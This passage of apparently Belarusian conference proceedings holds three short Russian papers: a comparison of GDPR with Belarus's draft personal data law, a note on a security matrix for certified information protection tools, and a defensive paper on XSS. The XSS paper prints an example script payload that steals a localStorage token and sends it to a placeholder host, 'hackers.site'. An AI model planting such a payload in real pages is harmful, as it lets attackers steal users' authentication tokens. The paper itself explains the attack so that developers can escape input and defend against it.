как с использованием средств автоматизации, так без них, включая сбор, запись, структурирование, хранение, адаптацию или изменение, использование, распространение, ограничение, уничтожение, группировка или комбинирование, поиск и выборка, экспертиза.

Согласно проекта закона, ПД это любая информация, относящаяся к идентифицированному физическому лицу или физическому лицу, которое может быть идентифицировано на основании такой информации. В то время, как субъект персональных данных определен как физическое лицо, в отношении которого осуществляется сбор, обработка, распространение, предоставление персональных данных.

GDPR применяется к физическим и юридическим лицам, государственным органам, а также международным организациям, в то время как проект закона распространяется на государственные органы, физические и юридические лица, а также иные организации осуществляющие действия с ПД.

Согласно GDPR, субъекты отношений имеют следующие права: на возражение, быть забытым, на доступ, на ограничение обработки, не подвергаться автоматизированному принятию решений, подавать жалобу в надзорный орган, на эффективную защиту против решения надзорного органа и на т.н. портативность данных. В соответствии с проектом закона, субъекты имеют права соглашаться на сбор, обработку (за исключением обезличивания); распространение; отзывать согласие на сбор, обработку (за исключением обезличивания), распространение, предоставление; ознакомление со своими ПД; получать информацию о предоставлении своих ПД третьим лицам; требовать прекращения сбора, обработки (за исключением обезличивания), распространения, предоставления ПД.

GDPR кодифицировал ряд новых понятий. Например, псевдонимизация, т. е. требование раздельного хранения информации, которая позволяет сличить человека и его данные, которые к нему относятся, требуется отдельно. Также субъект наделены новыми правами, например, правом быть забытым, когда по запросу пользователя, его ПД, включая резервные копии, удаляются или право на запрет автоматизированных решений. Утечка ПД, при которой необходимо уведомить надзорный орган и пользователей не позднее 72 ч с момента ее выявления.

Установлены санкции за несоблюдение требований GDPR, которые могут быть применены в отношении юридических лиц как в ЕС, так и вне его. Могут быть наложены санкции от € 10 млн € 20 млн, либо от 2 до 4 % годового оборота.

Список литературы

1. Regulation (EU) 2016/679 of the European Parliament and of the Council of 27 April 2016 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data, and repealing Directive 95/46/EC (General Data Protection Regulation).
2. Проект Закона Республики Беларусь «О персональных данных»: принят Палатой представителей Национального собрания Республики Беларусь и одобренный Советом Республики.

МАТРИЦА БЕЗОПАСНОСТИ ПРОГРАММНО-ТЕХНИЧЕСКИХ СРЕДСТВ ЗАЩИТЫ ИНФОРМАЦИИ ОРГАНИЗАЦИИ

А.В. Федорцов

В настоящее время основу создаваемых в Республике Беларусь систем защиты информации, обрабатываемой в информационных сетях (ИС) различных организаций и распространение/предоставление которой ограничено, составляют программно-технические средства защиты информации (ПТСЗИ), получившие сертификат соответствия требованиям информационной безопасности технического регламента ТР 2013/027/BY [1].

По сути, единицу ПТСЗИ относительно указанного регламента следует рассматривать как оконечное программно-техническое средство, содержащее в своем составе реализующие функции защиты информации элементы, в которых программные и технические части полностью взаимозависимы и неразделимы. В свою очередь несколько ПТСЗИ – как функционально выделенную по предназначению совокупность взаимосвязанных физических компонентов, а точнее, критически важную подсистему обработки информации в ИС.

Исходя из потребностей организаций номенклатура ПТСЗИ, используемых в ИС, может включать: средства криптографической защиты информации; средства идентификации и аутентификации пользователей; средства управления доступом и т.д. Ввиду этого матрица безопасности ПТСЗИ каждой конкретной организации будет представлять собой соответственно таблицу, отображающую выполняемые функции, критические параметры и характеристики, правила и условия безопасной эксплуатации (использования), количество единиц используемых средств защиты информации определенного наименования.

Построение такой матрицы необходимо для последующей формализации связей между целями/объектами/условиями нерегламентированного воздействия и соответствующим ущербом ИС организации при решении задачи количественной оценки негативных последствий от атак на ПТСЗИ [2].

Список литературы

1. ТР 2013/027/BY. Информационные технологии. Средства защиты информации. Информационная безопасность.

2. Федорцов А.В. Последствия инсайдерских атак на программно-технические средства защиты информации в контексте оценки рисков для информационной сети // Наука и воен. безопасность. 2018. № 4 (58). С. 25–30.

ЗАЩИТА ВЕБ-ПРИЛОЖЕНИЙ ОТ XSS АТАК

Н.В. Харитонов, М.П. Хоронеко, М.А. Медунецкий, В.В. Шиманский

Сегодня мир веб-разработки развивается с огромной скоростью. Наблюдается тенденция перехода от десктопных приложений в сторону веба. Возможности веб-приложений впечатляют, ведь они позволяют связаться с людьми из разных стран; поиграть в игры; посмотреть новости; заказать билеты и т. д. за несколько минут и на любом устройстве, будь то ПК, смартфон или умные часы. Но наряду с данными функциями образуется ряд проблем, одной из которых является проблема защиты информации и безопасности. В данной публикации рассматриваются XSS атаки, являющиеся наиболее распространенными.

XSS атаки заставляют пользователя выполнять нежелаемые задачи на веб-сайтах (например, отправлять письма, деньги, секретные токены для авторизации на сайте), причем пользователь даже не подозревает об этом.

Сущность XSS (cross site scripting) атаки заключается во внедрении вредоносного кода в возвращаемую сервером веб-страницу, который при последующем открытии страницы будет выполнен в браузере пользователя. Такой код может быть внедрен в страницу, например, при отправке вместо привычного нам комментария, комментария вида:

```
<script>
  var img = document.createElement("img");
  img.setAttribute('src', 'http://hackers.site/?token=' + localStorage.getItem('token'));
  document.body.appendChild(img);
</script>
```
(1)

если при отображении страницы такой комментарий добавляется в html, то злоумышленники получат секретный токен приложения в качестве параметра запроса и смогут работать от имени приложения. Для защиты от такого вида атак следует фильтровать пользовательский ввод, то есть заменять все спецсимволы на escape-последовательности(например, < на &lt, & на &amp) прежде чем вставить такой комментарий в html. Современные фронтенд фреймфорки (React.js, Angular, Vue.js и т.д.) имеют встроенную защиту от XSS атак, ни один из них не позволит просто вставить код вида (1) в веб-страницу. Однако у каждого из них все же остается довольно много уязвимостей, которые позволяют обойти фильтры сайта и внедрить вредоносный код.

Таким образом, XSS атаки являются инструментом для хищения данных из cookies, sessionStorage, localStorage и т. д. Разработчики веб-сайтов не должны пренебрегать созданием защиты от атак данного типа, дабы не ставить своих пользователей под угрозу.